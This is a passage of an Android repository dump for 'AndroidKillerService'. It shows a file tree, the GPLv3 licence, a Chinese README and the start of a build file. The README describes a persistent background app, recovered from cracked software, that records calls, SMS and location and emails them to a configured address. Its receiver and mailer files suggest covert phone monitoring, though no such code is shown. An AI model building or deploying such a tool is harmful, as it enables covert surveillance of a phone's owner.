├── .gitignore ├── LICENSE ├── README.md ├── app ├── .gitignore ├── build.gradle ├── libs │ └── locSDK_4.0.jar ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── shiliukeji │ │ └── xc_lsy │ │ └── androidkillerservice │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── shiliukeji │ │ │ └── xc_lsy │ │ │ └── androidkillerservice │ │ │ ├── HelpActivity.java │ │ │ ├── MainActivity.java │ │ │ ├── ZhuceActivity.java │ │ │ ├── location │ │ │ ├── Location.java │ │ │ └── LocationInfo.java │ │ │ ├── mail │ │ │ ├── MailSenderInfo.java │ │ │ ├── MyAuthenticator.java │ │ │ └── SimpleMailSender.java │ │ │ ├── reveiver │ │ │ ├── BootBroadcastReceiver.java │ │ │ ├── CalloutBroadcastReceiver.java │ │ │ ├── ConnectionChangeReceiver.java │ │ │ ├── OtherServiceReceiver.java │ │ │ └── SMSBroadcastReceiver.java │ │ │ └── service │ │ │ ├── GetSharePrefe.java │ │ │ ├── OtherOperatorService.java │ │ │ ├── PhoneService.java │ │ │ └── PhoneServicebak.java │ ├── jniLibs │ │ └── armeabi │ │ │ └── liblocSDK4.so │ └── res │ │ ├── drawable │ │ ├── mytp.png │ │ └── start.png │ │ ├── layout │ │ ├── activity_help.xml │ │ ├── activity_main.xml │ │ └── activity_zhuce.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ └── values │ │ ├── colors.xml │ │ ├── strings.xml │ │ └── styles.xml │ └── test │ └── java │ └── com │ └── shiliukeji │ └── xc_lsy │ └── androidkillerservice │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.ap_ 4 | 5 | # Files for the ART/Dalvik VM 6 | *.dex 7 | 8 | # Java class files 9 | *.class 10 | 11 | # Generated files 12 | bin/ 13 | gen/ 14 | out/ 15 | 16 | # Gradle files 17 | .gradle/ 18 | build/ 19 | 20 | # Local configuration file (sdk path, etc) 21 | local.properties 22 | 23 | # Proguard folder generated by Eclipse 24 | proguard/ 25 | 26 | # Log Files 27 | *.log 28 | 29 | # Android Studio Navigation editor temp files 30 | .navigation/ 31 | 32 | # Android Studio captures folder 33 | captures/ 34 | 35 | # Intellij 36 | *.iml 37 | .idea/workspace.xml 38 | .idea/tasks.xml 39 | .idea/gradle.xml 40 | .idea/dictionaries 41 | .idea/libraries 42 | 43 | # Keystore files 44 | *.jks 45 | 46 | # External native build folder generated in Android Studio 2.2 and later 47 | .externalNativeBuild 48 | 49 | # Google Services (e.g. APIs or Firebase) 50 | google-services.json 51 | 52 | # Freeline 53 | freeline.py 54 | freeline/ 55 | freeline_project_description.json 56 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AndroidKillerService 2 | 破解软件代码恢复,添加常驻后台功能! 3 | 4 | # 功能说明 5 | 6 | 这是一个记录你自己足迹的软件,包含记录你打过的电话、发过的短信等,通过百度定位,来确定你的足迹! 7 | 8 | # 注意 9 | 10 | 禁止拿来做非法应用,作者本人也不赞成! 11 | 12 | 代码无病毒,但是申请的权限较多! 13 | 14 | 需要注意的是有保活进程的操作,这个时间上也会有影响! 15 | 16 | # 使用方式 17 | 18 | 需要将代码中所有的**abc@163.com**替换为自己的接收邮箱,然后在应用中添加发送的邮箱,按照设置进行! 19 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 25 5 | buildToolsVersion "25.0.3" 6 | useLibrary 'org.apache.http.legacy' 7 | 8 | defaultConfig { 9 | applicationId "com.shiliukeji.xc_lsy.androidkillerservice" 10 | minSdkVersion 16 11 | targetSdkVersion 22 12 | 